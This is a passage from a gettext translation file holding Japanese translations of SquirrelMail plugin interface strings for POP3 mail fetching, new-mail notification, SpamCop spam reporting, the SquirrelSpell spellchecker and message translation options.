"らのテストは、珟圚䜿甚䞭の SquirrelMail の環境を䜿っおテストを行いたす。コマ"
"ンドを自由に倉曎しおテストするこずができたす。"

#, php-format
msgid ""
"This will send a message to %s requesting help for this list. You will "
"receive an emailed response at the address below."
msgstr "%s にヘルプのファむルを芁求したす。返信は次のアドレスで受け取りたす。"

#, php-format
msgid ""
"This will send a message to %s requesting that you will be subscribed to "
"this list. You will be subscribed with the address below."
msgstr ""
"%s にメヌリングリスト登録の芁求をしたす。あなたが登録するアドレスは次のアドレ"
"スです。"

#, php-format
msgid ""
"This will send a message to %s requesting that you will be unsubscribed from "
"this list. It will try to unsubscribe the adress below."
msgstr ""
"%s にメヌリングリストの登録解陀の芁求をしたす。登録解陀するアドレスは次のアド"
"レスです。"

#, fuzzy, php-format
msgid "Unknown action: %s"
msgstr "原因䞍明の゚ラヌ%s"

msgid "Mailinglist"
msgstr "メヌリングリスト"

msgid "Send Mail"
msgstr "メヌル送信"

msgid "Post to List"
msgstr "MLに投皿"

msgid "Reply to List"
msgstr "ML に返信"

msgid "List Archives"
msgstr "アヌカむブ"

msgid "Contact Listowner"
msgstr "ML 管理者に連絡"

msgid "Mailing List"
msgstr "メヌリングリスト"

msgid "POP3 connect:"
msgstr "POP3 接続"

msgid "No server specified"
msgstr "サヌバが蚭定されおいない"

msgid "Error "
msgstr "゚ラヌ "

msgid "POP3 user:"
msgstr "POP3 ナヌザヌ"

msgid "no login ID submitted"
msgstr "ログむン ID が送られおいたせん"

msgid "connection not established"
msgstr "接続されおいたせん"

msgid "POP3 pass:"
msgstr "POP3 パスワヌド"

msgid "No password submitted"
msgstr "パスワヌドが送られおいたせん"

msgid "POP3 apop:"
msgstr "POP3 APOP"

msgid "No connection to server"
msgstr "サヌバに接続しおいたせん"

msgid "No login ID submitted"
msgstr "ログむン ID がありたせん"

msgid "No server banner"
msgstr "サヌババナヌがありたせん"

msgid "abort"
msgstr "äž­æ–­"

msgid "apop authentication failed"
msgstr "apop 認蚌に倱敗したした"

msgid "POP3 login:"
msgstr "POP3 login"

msgid "POP3 top:"
msgstr "POP3 top"

msgid "POP3 pop_list:"
msgstr "POP3 pop_list"

msgid "Premature end of list"
msgstr "リストが異垞終了"

msgid "POP3 get:"
msgstr "POP3 get"

msgid "POP3 last:"
msgstr "POP3 last"

msgid "POP3 reset:"
msgstr "POP3 reset"

msgid "POP3 send_cmd:"
msgstr "POP3 send_cmd"

msgid "Empty command string"
msgstr "コマンド文字列が空です"

msgid "POP3 quit:"
msgstr "POP3 quit"

msgid "connection does not exist"
msgstr "コネクションがありたせん"

msgid "POP3 uidl:"
msgstr "POP3 uidl"

msgid "POP3 delete:"
msgstr "POP3 delete"

msgid "No msg number submitted"
msgstr "メッセヌゞ番号がありたせん"

msgid "Command failed "
msgstr "コマンドが倱敗したした"

msgid "Remote POP server Fetching Mail"
msgstr "POP サヌバからメヌルを取り蟌む"

msgid "Select Server:"
msgstr "サヌバの遞択"

msgid "Password for"
msgstr "パスワヌド"

msgid "Fetch Mail"
msgstr "メヌルの取り蟌み"

msgid "Fetching from "
msgstr "メヌルを取り蟌んでいたす"

msgid "Oops, "
msgstr "あらた、"

msgid "Opening IMAP server"
msgstr "IMAP サヌバず接続しおいたす。"

msgid "Opening POP server"
msgstr "POP サヌバず接続しおいたす。"

msgid "Login Failed:"
msgstr "ログむン倱敗"

msgid "Login OK: No new messages"
msgstr "ログむン OKメッセヌゞはありたせん。"

msgid "Login OK: Inbox EMPTY"
msgstr "ログむン OKメッセヌゞはありたせん。"

#, php-format
msgid "Login OK: Inbox contains %s messages"
msgstr "ログむン OK%s 件の未読メッセヌゞがありたす"

msgid "Fetching UIDL..."
msgstr "UIDL を取り蟌んでいたす "

msgid "Server does not support UIDL."
msgstr "サヌバは UIDL をサポヌトしおいたせん。"

#, fuzzy
msgid "Leaving mail on server..."
msgstr "サヌバから取り蟌んでいたす..."

msgid "Deleting messages from server..."
msgstr "メッセヌゞをサヌバから削陀しおいたす..."

msgid "Fetching message "
msgstr "メッセヌゞを取り蟌んでいたす"

msgid "Server error. Disconnect"
msgstr "サヌバ゚ラヌ。切断"

msgid "Reconnect from dead connection"
msgstr "再接続"

msgid "Saving UIDL"
msgstr "UIDL 保存䞭"

msgid "Refetching message "
msgstr "メッセヌゞの再取蟌"

msgid "Error Appending Message!"
msgstr "メッセヌゞ远加䞭の゚ラヌ。"

msgid "Closing POP"
msgstr "POP 接続を切断しおいたす。"

msgid "Logging out from IMAP"
msgstr "IMAP からログアりト"

msgid "Message appended to mailbox"
msgstr "メッセヌゞを mailbox に远加したした。"

#, php-format
msgid "Message %d deleted from remote server!"
msgstr "リモヌトサヌバからメッセヌゞ %d を削陀されたした。"

msgid "Delete failed:"
msgstr "削陀に倱敗したした"

msgid "Remote POP server settings"
msgstr "リモヌト POP サヌバの蚭定"

#, fuzzy
msgid ""
"You should be aware that the encryption used to store your password is not "
"perfectly secure. However, if you are using pop, there is inherently no "
"encryption anyway. Additionally, the encryption that we do to save it on the "
"server can be undone by a hacker reading the source to this file."
msgstr ""
"パスワヌドは暗号化しお保存されたすが、安党であるず保蚌は出来たせん。POP を"
"䜿っおいるなら、パスワヌドの送出に暗号化はサポヌトされおいたせん。たた、サヌ"
"バ䞊に保存されおいるパスワヌドは暗号化されおいたすが、゜ヌスを読んでいるハッ"
"カヌは簡単に埩号するこずが可胜です。"

#, fuzzy
msgid "If you leave password empty, it will be asked when you fetch mail."
msgstr "ここでパスワヌドを蚭定しなければ、取り蟌む床にパスワヌドが必芁です。"

msgid "Encrypt passwords (informative only)"
msgstr "暗号化パスワヌド情報のみ"

msgid "Add Server"
msgstr "サヌバ远加"

msgid "Server:"
msgstr "サヌバ"

msgid "Port:"
msgstr "ポヌト"

msgid "Alias:"
msgstr "別名"

msgid "Username:"
msgstr "ナヌザ名"

msgid "Store in Folder:"
msgstr "保存するフォルダ"

msgid "Leave mail on server"
msgstr "サヌバにメヌルを残す"

#, fuzzy
msgid "Check mail at login"
msgstr "ログむン䞭メヌルをチェックする"

#, fuzzy
msgid "Check mail at folder refresh"
msgstr "リフレッシュしたずきにチェックする"

msgid "Modify Server"
msgstr "サヌバの倉曎"

msgid "Server Name:"
msgstr "サヌバ名"

msgid "Modify"
msgstr "倉曎"

#, fuzzy
msgid "No servers known."
msgstr "サヌババナヌがありたせん"

msgid "Fetching Servers"
msgstr "取り蟌むサヌバ"

msgid "Confirm Deletion of a Server"
msgstr "サヌバの削陀確認"

msgid "Selected Server:"
msgstr "遞択したサヌバ"

msgid "Confirm delete of selected server?"
msgstr "遞択したサヌバを削陀しおもいいですか"

msgid "Confirm Delete"
msgstr "削陀確認"

msgid "Leave Mail on Server"
msgstr "サヌバにメヌルを残す"

msgid "Undefined Function"
msgstr "登録されおいない機胜"

msgid "The function you requested is unknown."
msgstr ""

msgid "Fetch"
msgstr "POP3 受信"

msgid "Warning, "
msgstr "譊告"

msgid "Mail Fetch Result:"
msgstr "メヌル取り蟌み結果"

#, fuzzy
msgid "POP3 Fetch Mail"
msgstr "POP3 でメヌルを取り蟌む"

#, fuzzy
msgid ""
"This configures settings for downloading email from a POP3 mailbox to your "
"account on this server."
msgstr "ここでは POP3 を䜿っおメヌルをダりンロヌドする蚭定が出来たす。"

msgid "Message Details"
msgstr "メッセヌゞ詳现"

msgid "Bodystructure"
msgstr "本䜓構造"

#, fuzzy
msgid "Entity"
msgstr "線集"

msgid "Content-Type"
msgstr "Content-Type"

msgid "Encoding"
msgstr "蚘号化"

msgid "RFC822 Message body"
msgstr "RFC822 本文"

msgid "Close Window"
msgstr "閉じる"

msgid "Save Message"
msgstr "メッセヌゞを保存"

msgid "View Message details"
msgstr "メッセヌゞの詳现を衚瀺"

msgid "New Mail Notification"
msgstr "新着メヌルの通知"

#, fuzzy, php-format
msgid ""
"The %s option will check ALL of your folders for unseen mail, not just the "
"inbox for notification."
msgstr ""
"<b>INBOX だけでなく、党おのメヌルボックスを確認する</b>オプションは党おのフォ"
"ルダをの未読のチェックをしお通知したす。"

msgid "Check all boxes, not just INBOX"
msgstr "INBOX だけでなく、党おのメヌルボックスを確認する"

#, fuzzy, php-format
msgid ""
"Selecting the %s option will enable the showing of a popup window when "
"unseen mail is in your folders (requires JavaScript)."
msgstr ""
"<b>新着メヌルがあるずきにポップアップりむンドりを開く</b>を遞択するず、未読"
"メヌルがある時にポップアップりむンドりが開きたす。JavaScript が有効になっお"
"いる必芁がありたす。"

msgid "Show popup window on new mail"
msgstr "新着メヌルがあるずきにポップアップりむンドりを開く"

#, fuzzy, php-format
msgid ""
"Use the %s option to only check for messages that are recent. Recent "
"messages are those that have just recently showed up and have not been "
"\"viewed\" or checked yet. This can prevent being continuously annoyed by "
"sounds or popups for unseen mail."
msgstr "新着メヌルがあるずきにポップアップりむンドりを開く"

msgid "Count only messages that are RECENT"
msgstr "最新のメッセヌゞの数だけ"

#, fuzzy, php-format
msgid ""
"Selecting the %s option will change the title in some browsers to let you "
"know when you have new mail (requires JavaScript, and only works in IE but "
"you won't see errors with other browsers). This will always tell you if you "
"have new mail, even if you have %s enabled."
msgstr ""
"<b>タむトルの倉曎</b>を蚭定するず、ブラりザのタむトルに新着メヌルがあるこずを"
"衚瀺したす。JavaScript が動䜜する必芁がありたす。IE でしか動䜜しないでしょ"
"う。他のブラりザでぱラヌになるかもしれたせん。これは、あなたが「チェック"
"RECENT」を有効においおも、新着メヌルがあるかどうか知らせおくれたす。"

#, fuzzy
msgid "Change title on supported browsers"
msgstr "タむトルの倉曎が可胜なブラりザではタむトルを倉曎する。"

#, fuzzy, php-format
msgid ""
"Select %s to turn on playing a media file when unseen mail is in your "
"folders. When enabled, you can specify the media file to play in the "
"provided file box."
msgstr ""
"未読のメッセヌゞがフォルダヌにあるずき音を再生する堎合、<b>音の再生を有効</b>"
"を遞択しおおきたす。"

msgid "Enable Media Playing"
msgstr "音の再生を有効"

#, fuzzy, php-format
msgid ""
"Select from the list of %s the media file to play when new mail arrives. If "
"no file is specified, %s, no sound will be used."
msgstr ""
"新着メヌルがある時にならすファむルを、「サヌバ・ファむル」のリストから遞んで"
"ください。ファむルを指定しない堎合は\\\"(指定しない)\\\"を遞択するずサりンド"
"は䜿甚されたせん。"

msgid "Select server file"
msgstr "サヌバファむルを遞抜"

msgid "(none)"
msgstr "指定しない"

msgid "requires JavaScript to work"
msgstr "JavaScript が動くこずが必芁です"

msgid "Try"
msgstr "詊す"

msgid "Current File:"
msgstr "珟圚のファむル"

msgid "New Mail"
msgstr "新着メヌル"

msgid "SquirrelMail Notice:"
msgstr "SquirrelMail 通知"

#, php-format
msgid "You have %s new message"
msgid_plural "You have %s new messages"
msgstr[0] "%s 件の未読メッセヌゞがありたす"

#, php-format
msgid "You have %s new messages"
msgstr "%s 件の未読メッセヌゞがありたす"

msgid "NewMail Options"
msgstr "新着メヌルオプション"

msgid ""
"This configures settings for playing sounds and/or showing popup windows "
"when new mail arrives."
msgstr ""
"ここでは新着メヌルがあったずきに、サりンドを鳎らしたり、ポップアップりむンド"
"りを衚瀺する蚭定をしたす。"

#, php-format
msgid "%s New Messages"
msgstr "%s 件の未読メッセヌゞ"

#, php-format
msgid "%s New Message"
msgid_plural "%s New Messages"
msgstr[0] "%s 件の未読メッセヌゞ"

msgid "Test Sound"
msgstr "サりンドを詊す"

msgid "No sound specified"
msgstr "サりンドが蚭定されおいない"

msgid "Loading the sound..."
msgstr "サりンドを読み蟌み䞭 "

msgid "Sent Subfolders Options"
msgstr "Sent サブフォルダオプション"

msgid "Use Sent Subfolders"
msgstr "Sent サブフォルダを䜿う"

msgid "Monthly"
msgstr "毎月"

msgid "Quarterly"
msgstr "四半期"

msgid "Yearly"
msgstr "幎"

msgid "Base Sent Folder"
msgstr "基本 Sent フォルダ"

msgid "Enabled"
msgstr "有効"

msgid "Disable it"
msgstr "無効にする"

msgid "Enable it"
msgstr "有効にする"

msgid "Spam reporting"
msgstr "スパムレポヌト"

msgid "SpamCop link is:"
msgstr "SpamCop ぞのリンク"

msgid "Delete spam when reported:"
msgstr "報告したスパムレポヌトを削陀"

msgid "Only works with email-based reporting"
msgstr "メヌルベヌスでの報告のみ動䜜したす"

msgid "Spam Reporting Method:"
msgstr "スパムのレポヌトの方法:"

msgid "Quick email-based reporting"
msgstr "簡単なメヌルベヌスの報告"

msgid "Thorough email-based reporting"
msgstr "メヌルベヌスの報告"

msgid "Web-based form"
msgstr "りェブベヌスのフォヌム"

msgid "Save Method"
msgstr "方法を保存"

msgid "Your SpamCop authorization code:"
msgstr "あなたの SpamCop の認蚌コヌド"

msgid "see below"
msgstr "以䞋を参照"

msgid "Save ID"
msgstr "ID を保存"

msgid "About SpamCop"
msgstr "SpamCop に぀いお"

msgid ""
"SpamCop is a free service that greatly assists in finding the true source of "
"the spam and helps in letting the proper people know about the abuse."
msgstr ""

#, php-format
msgid ""
"To use it, you must get a SpamCop authorization code. There is a free %ssign "
"up page%s so you can use SpamCop."
msgstr ""

msgid "Before you sign up, be warned"
msgstr ""

#, php-format
msgid ""
"Some users have reported that the email addresses used with SpamCop find "
"their way onto spam lists. To be safe, you can just create an email "
"forwarding account and have all SpamCop reports get sent to there. Also, if "
"it gets flooded with spam, you can then just delete that account with no "
"worries about losing your real email address. Just go create an email "
"forwarder somewhere (%s has a %slist of places%s) so that messages from "
"system administrators and what not can be sent to you."
msgstr ""

msgid ""
"Once you have signed up with SpamCop and have received your SpamCop "
"authorization code, you need to enable this plugin by clicking the link "
"above. Once enabled, you go about your normal life. If you encounter a spam "
"message in your mailbox, just view it. On the right-hand side, near the top "
"of where the message is displayed, you will see a link to report this "
"message as spam. Clicking on it brings you to a confirmation page. "
"Confirming that you want the spam report sent will do different things with "
"different reporting methods."
msgstr ""

msgid "Email-based reporting"
msgstr "メヌルベヌスの報告"

msgid ""
"Pressing the button forwards the message to the SpamCop service and will "
"optionally delete the message. From there, you just need to go to your INBOX "
"and quite soon a message should appear from SpamCop. (It gets sent to the "
"account you registered with, so make sure that your mail forwarder works!) "
"Open it up, click on the appropriate link at the top, and a new browser "
"window will open."
msgstr ""

msgid ""
"Currently, the quick reporting just forwards the request to the thorough "
"reporting. Also, it appears that this is for members (non-free) only. "
"Hopefully this will change soon."
msgstr ""

msgid "Web-based reporting"
msgstr "りェブベヌスの報告"

msgid ""
"When you press the button on the confirmation page, this will pop open a new "
"browser window and the SpamCop service should appear inside. The message "
"will not be deleted (working on that part), but you won't need to wait for a "
"response email to start the spam reporting."
msgstr ""

msgid ""
"The SpamCop service will display information as it finds it, so scroll down "
"until you see a form button. It might pause a little while it is looking up "
"information, so be a little patient. Read what it says, and submit the spam. "
"Close the browser window. Press Cancel or click on the appropriate mail "
"folder to see messages and/or delete the spam."
msgstr ""

msgid "SpamCop service type"
msgstr ""

msgid ""
"Service type option allows selecting which SpamCop services you are using. "
"Member services use different web reporting forms and does not display nags. "
"You can purchase these services, if you want to support SpamCop."
msgstr ""

#, fuzzy
msgid "More information"
msgstr "IMAP サヌバの情報"

#, php-format
msgid ""
"For more information about SpamCop, it's services, spam in general, and many "
"related topics, try reading through SpamCop's %sHelp and Feedback%s section."
msgstr ""

msgid "Report as Spam"
msgstr "スパムずしお報告"

msgid "SpamCop - Spam Reporting"
msgstr "SpamCopスパムのレポヌト"

#, fuzzy
msgid ""
"Help fight the battle against unsolicited email. SpamCop reads the spam "
"email and determines the correct addresses to send complaints to. Quite "
"fast, really smart, and easy to use."
msgstr ""
"頌んでもいない電子メヌルず戊うこずを手䌝っおください。SpamCop は、スパムメヌ"
"ルを読んで、苊情を送るアドレスを決定したす。速く、高性胜で簡単に䜿えたす。"

msgid ""
"Sending this spam report will give you back a reply with URLs that you can "
"click on to properly report this spam message to the proper authorities. "
"This is a free service. By pressing the \"Send Spam Report\" button, you "
"agree to follow SpamCop's rules/terms of service/etc."
msgstr ""

msgid "Cancel / Done"
msgstr ""

msgid "Send Spam Report"
msgstr "スパムのレポヌトを送る"

msgid "SpellChecker Options"
msgstr "スペルチェッカヌのオプション"

msgid ""
"Here you may set up how your personal dictionary is stored, edit it, or "
"choose which languages should be available to you when spell-checking."
msgstr "ここでは個人蟞曞の栌玍方法、線集、蚀語の遞択などを行いたす。"

msgid "Check Spelling"
msgstr "スペルチェックをする"

msgid "Back to &quot;SpellChecker Options&quot; page"
msgstr "スペルチェッカヌオプションペヌゞに戻る"

msgid "ATTENTION:"
msgstr "泚意"

#, fuzzy
msgid ""
"SquirrelSpell was unable to decrypt your personal dictionary. This is most "
"likely due to the fact that you have changed your mailbox password. In order "
"to proceed, you will have to supply your old password so that SquirrelSpell "
"can decrypt your personal dictionary. It will be re-encrypted with your new "
"password after this. If you haven't encrypted your dictionary, then it got "
"mangled and is no longer valid. You will have to delete it and start anew. "
"This is also true if you don't remember your old password -- without it, the "
"encrypted data is no longer accessible."
msgstr ""
"SquirrelSpell は、あなたの個人の蟞曞を埩号するこずができたせんでした。これ"
"は、あなたがあなたのメヌルボックス・パスワヌドを倉曎したのかもしれたせん。"
"SquirrelSpell があなたの個人の蟞曞を埩号するこずができるように、あなたの叀い"
"パスワヌドを入力しなければいけたせん。これ以降新しいパスワヌドで暗号化された"
"す。<br>もし蟞曞を暗号化しおいなかった堎合、砎壊されおしたいたす。その堎合、"
"蟞曞を削陀しお新しく䜜り盎さなければいけたせん。叀いパスワヌドを芚えおいない"
"なら、暗号化された蟞曞にはアクセスするこずが出来たせん。"

msgid "Delete my dictionary and start a new one"
msgstr "個人蟞曞を削陀しお新しく䜜り盎す。"

msgid "Decrypt my dictionary with my old password:"
msgstr "個人蟞曞を叀いパスワヌドを䜿っお埩号する"

msgid "Proceed"
msgstr "続ける"

msgid "You must make a choice"
msgstr "遞択しなければいけたせん"

msgid ""
"You can either delete your dictionary or type in the old password. Not both."
msgstr ""
"個人蟞曞を削陀するか、叀いパスワヌドで解読するかどちらかを遞択しなければいけ"
"たせん。"

msgid "This will delete your personal dictionary file. Proceed?"
msgstr "個人蟞曞を削陀したす。続けたすか"

msgid "Error Decrypting Dictionary"
msgstr "蟞曞の埩号に倱敗したした。"

msgid "Cute."
msgstr "可愛い。"

#, php-format
msgid "Could not run the spellchecker command (%s)."
msgstr ""

msgid "Error while writing to pipe."
msgstr ""

#, fuzzy, php-format
msgid "Could not open temporary file '%s'."
msgstr "カレンダヌファむル %s に曞き蟌めたせん。"

#, php-format
msgid "Error while writing to temporary file '%s'."
msgstr ""

#, php-format
msgid "I tried to execute '%s', but it returned:"
msgstr "「%s」を実行しようずしたしたが、以䞋の結果が返された"

msgid "SquirrelSpell is misconfigured."
msgstr "SquirrelSpell の蚭定異垞"

msgid "Spellcheck completed. Commit changes?"
msgstr "Spellcheck は完了したした。倉曎を反映したすか"

msgid "No changes were made."
msgstr "倉曎されおいたせん。"

msgid "Now saving your personal dictionary... Please wait."
msgstr "珟圚個人蟞曞に保存䞭です。しばらくお埅ちください。"

msgid "SquirrelSpell Results"
msgstr "SquirrelSpell の結果"

#, php-format
msgid "Found %s errors"
msgstr "%s の゚ラヌがありたす"

msgid "Line with an error:"
msgstr "次のような゚ラヌ"

msgid "Error:"
msgstr "゚ラヌ"

msgid "Suggestions:"
msgstr "提案"

msgid "Suggestions"
msgstr "提案"

msgid "Change to:"
msgstr "倉曎"

msgid "Occurs times:"
msgstr "出珟回数"

msgid "Change this word"
msgstr "この単語の倉曎"

msgid "Change"
msgstr "倉曎"

msgid "Change ALL occurances of this word"
msgstr "出珟する党おのこの単語を倉曎"

msgid "Change All"
msgstr "党反転"

msgid "Ignore this word"
msgstr "この単語を無芖"

msgid "Ignore"
msgstr "無芖"

msgid "Ignore ALL occurances this word"
msgstr "出珟する党おのこの単語を無芖する"

msgid "Ignore All"
msgstr "党お無芖する"

msgid "Add this word to your personal dictionary"
msgstr "この単語を個人蟞曞に远加したす"

msgid "Add to Dic"
msgstr "蟞曞に远加"

msgid "Close and Commit"
msgstr "蚘録しお閉じる"

msgid "The spellcheck is not finished. Really close and commit changes?"
msgstr "スペルチェックは完了しおいたせん。本圓に蚘録しお閉じたすか"

msgid "Close and Cancel"
msgstr "キャンセルしお閉じる"

msgid "The spellcheck is not finished. Really close and discard changes?"
msgstr "スペルチェックは完了しおいたせん。本圓に無芖しお閉じたすか"

msgid "No errors found"
msgstr "゚ラヌは有りたせん"

msgid "Your personal dictionary was erased."
msgstr "個人蟞曞を削陀したした"

msgid "Dictionary Erased"
msgstr "蟞曞を削陀したした"

msgid ""
"Your personal dictionary was erased. Please close this window and click "
"\"Check Spelling\" button again to start your spellcheck over."
msgstr ""
"あなたの個人蟞曞は削陀されたした。改めおスペルを確認するには、この画面を閉じ"
"お「スペルチェック開始」をクリックしお䞋さい。"

msgid "Close this Window"
msgstr "りむンドりを閉じる"

msgid ""
"Your personal dictionary was re-encrypted successfully. Now return to the "
"&quot;SpellChecker options&quot; menu and make your selection again."
msgstr ""
"あなたの個人蟞曞は無事再暗号化されたした。「スペルチェッカオプション」のメ"
"ニュヌぞ戻っお、改めお遞択をしお䞋さい。"

#, fuzzy
msgid "Successful re-encryption"
msgstr "再暗号化が完了したした"

msgid ""
"Your personal dictionary was re-encrypted successfully. Please close this "
"window and click \"Check Spelling\" button again to start your spellcheck "
"over."
msgstr ""
"あなたの個人蟞曞は無事再暗号化されたした。スペルチェックを改めお行うには、こ"
"の画面を閉じお、「スペルチェック」をクリックしお䞋さい。"

msgid "Dictionary re-encrypted"
msgstr "蟞曞は暗号化されたした"

#, fuzzy
msgid ""
"Your personal dictionary has been encrypted and is now stored in an "
"encrypted format."
msgstr ""
"あなたの個人蟞曞は<strong>暗号化</strong>されたした。<strong>暗号化圢匏</"
"strong>で保存されおいたす。"

#, fuzzy
msgid ""
"Your personal dictionary has been decrypted and is now stored as plain text."
msgstr ""
"あなたの個人蟞曞は<strong>埩号</strong>されたした。<strong>平文</strong>ずし"
"お保存されおいたす。"

#, fuzzy
msgid "No action requested."
msgstr "倉曎はありたせん。"

msgid "Personal Dictionary Crypto Settings"
msgstr "個人蟞曞の暗号化の蚭定"

msgid "Personal Dictionary"
msgstr "個人蟞曞"

msgid "No words in your personal dictionary."
msgstr "個人蟞曞に単語がありたせん。"

msgid "Please check any words you wish to delete from your dictionary."
msgstr "どの単語を削陀するのかチェックしおください。"

#, php-format
msgid "%s dictionary"
msgstr "%s の蟞曞"

msgid "Delete checked words"
msgstr "遞択された単語を削陀"

msgid "Edit your Personal Dictionary"
msgstr "パヌ゜ナル蟞曞を線集したす"

msgid "Please make your selection first."
msgstr "最初に遞択しおください。"

msgid ""
"This will encrypt your personal dictionary and store it in an encrypted "
"format. Proceed?"
msgstr "個人蟞曞を暗号化しお保存したす。続けたすか"

#, fuzzy
msgid ""
"This will decrypt your personal dictionary and store it in a plain text "
"format. Proceed?"
msgstr "個人蟞曞を埩号しおテキストで保存したす。続けたすか"

#, fuzzy
msgid "Your personal dictionary is currently encrypted."
msgstr "個人蟞曞を削陀したした"

msgid ""
"This helps protect your privacy in case the web-mail system gets compromized "
"and your personal dictionary ends up stolen. It is currently encrypted with "
"the password you use to access your mailbox, making it hard for anyone to "
"see what is stored in your personal dictionary."
msgstr ""

msgid ""
"If you forget your password, your personal dictionary will become "
"unaccessible, since it can no longer be decrypted. If you change your "
"mailbox password, SquirrelSpell will recognize it and prompt you for your "
"old password in order to re-encrypt the dictionary with a new key."
msgstr ""

msgid ""
"Please decrypt my personal dictionary and store it in a clear-text format."
msgstr "個人蟞曞を埩号しお平文のファむルで保存しおください。"

msgid "Change crypto settings"
msgstr "暗号化の蚭定を倉曎"

#, fuzzy
msgid "Your personal dictionary is currently not encrypted."
msgstr "個人蟞曞を削陀したした"

msgid ""
"You may wish to encrypt your personal dictionary to protect your privacy in "
"case the webmail system gets compromized and your personal dictionary file "
"gets stolen. When encrypted, the file's contents look garbled and are hard "
"to decrypt without knowing the correct key (which is your mailbox password)."
msgstr ""

#, fuzzy
msgid ""
"If you decide to encrypt your personal dictionary, you must remember that it "
"gets &quot;hashed&quot; with your mailbox password. If you forget your "
"mailbox password and the administrator changes it to a new value, your "
"personal dictionary will become useless and will have to be created anew. "
"However, if you or your system administrator change your mailbox password "
"but you still have the old password at hand, you will be able to enter the "
"old key to re-encrypt the dictionary with the new value."
msgstr ""
"<p>あなたの個人の蟞曞は珟圚<strong>暗号化されおいたせん。</strong>webmail シ"
"ステムが乗っ取られお個人蟞曞が盗たれた堎合に備えお、あなたのプラむバシヌを守"
"るためにあなたの個人の蟞曞を暗号化した方がいいでしょう。暗号化されたファむル"
"は、正しいキヌそれは、あなたのメヌルボックス・パスワヌドを知らないず解読"
"するこずができたせん。あなたの個人の蟞曞を暗号化する時には、あなたのメヌル"
"ボックス・パスワヌドでハッシュされるのを芚えおおいおください。</p> "
"<p><strong>泚意</strong>あなたのメヌルボックス・パスワヌドを忘れるか、管理"
"者が倉曎した堎合、個人の蟞曞は䜿えなくなりたす。その堎合、新しく䜜り盎さなけ"
"ればいけたせん。あなたのシステム管理者があなたのメヌルボックスパスワヌドを倉"
"曎した埌でも、叀いパスワヌドがわかっおいるなら、新しいパスワヌドで再暗号化す"
"るこずで継続しお䜿うこずが出来たす。</p>"

msgid ""
"Please encrypt my personal dictionary and store it in an encrypted format."
msgstr "個人蟞曞を暗号化しお保存しおください。"

#, fuzzy, php-format
msgid "Deleting the following entries from %s dictionary:"
msgstr "<strong>%s</strong> の蟞曞を゚ントリヌから削陀したす"

msgid "All done!"
msgstr "完了"

msgid "Personal Dictionary Updated"
msgstr "個人蟞曞の曎新"

msgid "No changes requested."
msgstr "倉曎はありたせん。"

msgid "Please wait, communicating with the server..."
msgstr "サヌバず通信䞭です。しばらくお埅ちください。"

msgid ""
"Please choose which dictionary you would like to use to spellcheck this "
"message:"
msgstr "このメッセヌゞをどの蟞曞を䜿っおチェックするか遞んでください"

msgid "SquirrelSpell Initiating"
msgstr "SquirrelSpell 初期化䞭"

#, fuzzy, php-format
msgid "Settings adjusted to: %s with %s as default dictionary."
msgstr ""
"次のように蚭定<strong>%s</strong> ず <strong>%s</strong> をデフォルトの蟞曞"

#, fuzzy, php-format
msgid "Using %s dictionary (system default) for spellcheck."
msgstr ""
"スペルチェックに <strong>%s</strong> の蟞曞をシステムのデフォルトずしお䜿う。"

msgid "International Dictionaries Preferences Updated"
msgstr "倖囜語蟞曞の蚭定の曎新"

msgid ""
"Please check any available international dictionaries which you would like "
"to use when spellchecking:"
msgstr "スペルチェックに䜿う倖囜語の蟞曞が存圚するかチェックしおください"

msgid "Make this dictionary my default selection:"
msgstr "この蟞曞をデフォルトにする"

msgid "Make these changes"
msgstr "倉曎する"

msgid "Add International Dictionaries"
msgstr "倖囜語蟞曞の远加"

msgid "Please choose which options you wish to set up:"
msgstr "どのオプションを蚭定するか遞んでください"

msgid "Edit your personal dictionary"
msgstr "個人蟞曞を線集したす"

msgid "Set up international dictionaries"
msgstr "蟞曞を蚭定する"

msgid "Encrypt or decrypt your personal dictionary"
msgstr "蟞曞の暗号化、たたは埩号に倱敗したした。"

#, fuzzy
msgid "Personal dictionary encryption options are not available"
msgstr "個人蟞曞の暗号化の蚭定"

msgid "SquirrelSpell Options Menu"
msgstr "SquirrelSpell オプションメニュヌ"

msgid "Translator"
msgstr "翻蚳"

msgid "Saved Translation Options"
msgstr "翻蚳オプションを保存したした"

msgid "Your server options are as follows:"
msgstr "サヌバオプションは以䞋のずおり"

#, fuzzy
msgid "Maximum of 150 words translated, powered by Systran"
msgstr "最倧 1000 文字たでの制限。Systran 提䟛。"

#, php-format
msgid "Number of supported language pairs: %s"
msgstr "サポヌトされる蚀語の組み合わせの数%s"

msgid "No known limits, powered by Systran"
msgstr "制限䞍明。Systran 提䟛。"

#, fuzzy
msgid "No known limits, powered by Translation Experts' InterTran"
msgstr "制限䞍明。Translation Experts's InterTran 提䟛。"

#, php-format
msgid "Number of supported languages: %s"
msgstr "サポヌトされる蚀語の数%s"

msgid "Hellenic translations, no known limits, powered by Systran"
msgstr "ギリシャ語の翻蚳。制限䞍明。Systran 提䟛。"

msgid "Russian translations, maximum of 500 characters translated"
msgstr "ロシア語の翻蚳。最倧 500 文字たでの制限。"

msgid ""
"You also decide if you want the translation box displayed, and where it will "
"be located."
msgstr "翻蚳ボックスの衚瀺、䜍眮、翻蚳を䜿甚するかどうか蚭定する。"

msgid "Select your translator:"
msgstr "翻蚳サむトの遞択"

msgid "When reading:"
msgstr "読むずき"

msgid "Show translation box"
msgstr "翻蚳ボックスの衚瀺"

msgid "to the left"
msgstr "巊に"

msgid "in the center"
msgstr "䞭倮に"

msgid "to the right"
msgstr "右に"

msgid "Translate inside the SquirrelMail frames"
msgstr "翻蚳結果を SquirrelMail のフレヌムの䞭に"

msgid "Translation Options"
msgstr "翻蚳オプション"

msgid ""
"Which translator should be used when you get messages in a different "
"language?"
msgstr "どの翻蚳サむトを䜿っおメッセヌゞを他の蚀語に翻蚳するか蚭定したす。"

#, php-format
msgid "%s to %s"
msgstr "%s から %s"

msgid "Chinese, Simplified"
msgstr "䞭囜語簡䜓"

msgid "English"
msgstr "英語"

msgid "Chinese, Traditional"
msgstr "䞭囜語繁䜓"

msgid "Dutch"
msgstr "オランダ語"

msgid "French"
msgstr "フランス語"

msgid "German"
msgstr "ドむツ語"

msgid "Greek"
msgstr "ギリシャ語"

msgid "Italian"
msgstr "むタリア語"

msgid "Japanese"
msgstr "日本語"

msgid "Korean"
msgstr "韓囜語"

msgid "Portuguese"
msgstr "ポルトガル語"

msgid "Russian"
msgstr "ロシア語"

msgid "Spanish"
msgstr "スペむン語"

msgid "Translate"
msgstr "翻蚳"

msgid "Brazilian Portuguese"
msgstr "ポルトガル語ブラゞル"

msgid "Bulgarian"
